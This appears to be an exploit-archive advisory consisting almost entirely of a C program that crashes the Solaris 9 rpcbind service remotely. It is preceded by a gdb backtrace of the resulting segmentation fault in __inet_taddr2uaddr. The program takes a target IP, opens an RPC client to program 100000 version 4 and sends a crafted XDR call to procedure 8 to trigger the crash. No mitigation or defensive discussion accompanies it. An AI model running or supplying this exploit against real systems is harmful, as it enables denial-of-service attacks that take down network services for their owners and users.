Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS Exploit

Advisory Content :

/*
////////////////////////////////////////////////////////////
// Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS
////////////////////////////////////////////////////////////
//
// Federico L. Bossi Bonin
// fbossi[at]globalST[dot]com[dot]ar
/////////////////////////////////////////////////////

Program received signal SIGSEGV, Segmentation fault.
0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
(gdb) backtrace
#0 0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
#1 0x00013d88 in rpcbproc_taddr2uaddr_com ()
#2 0x000161c0 in rpcb_service_4 ()
(gdb)

*/

#include <string.h>
#include <rpc/rpc.h>

struct xdr {
long long_arg;
char *string_arg;
};

typedef struct xdr xdr;
static struct timeval TIMEOUT = { 25, 0 };

bool_t xdr_xdr (XDR *xdrs, xdr *objp) {
register int32_t *buf;

if (!xdr_long (xdrs, &objp->long_arg))
return FALSE;
if (!xdr_string (xdrs, &objp->string_arg, 4096))
return FALSE;
return TRUE;
}

char ** str_4(xdr *argp, CLIENT *clnt) {
static char *clnt_res;

memset((char *)&clnt_res, 0, sizeof(clnt_res));
if (clnt_call (clnt, 8,
(xdrproc_t) xdr_xdr, (caddr_t) argp,
(xdrproc_t) xdr_wrapstring, (caddr_t) &clnt_res,
TIMEOUT) != RPC_SUCCESS) {
return (NULL);
}
return (&clnt_res);
}

main(int argc, char *argv[]) {
CLIENT *c1;
char *server;
char **sresult;

if (argc !=2){

printf("=============================================================\n");
printf("Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS\n");

printf("-------------------------------------------------------------\n");
printf("Federico L. Bossi Bonin <fbossi@globalST.com.ar>\n");

printf("=============================================================\n\n")
;
printf("usage: %s <IP>\n",argv[0]);
exit(1);
}

server = argv[1];

if ((c1 = clnt_create(server,100000, 4, "tcp")) == NULL){
clnt_pcreateerror(server);
exit(1);
}

xdr xdrmessage;
xdrmessage.long_arg = 0;
xdrmessage.string_arg="";

if ((sresult = str_4(&xdrmessage, c1)) == NULL){
clnt_perror(c1, server);
exit(1);
}

clnt_destroy(c1);
exit(0);
}

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Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS Exploit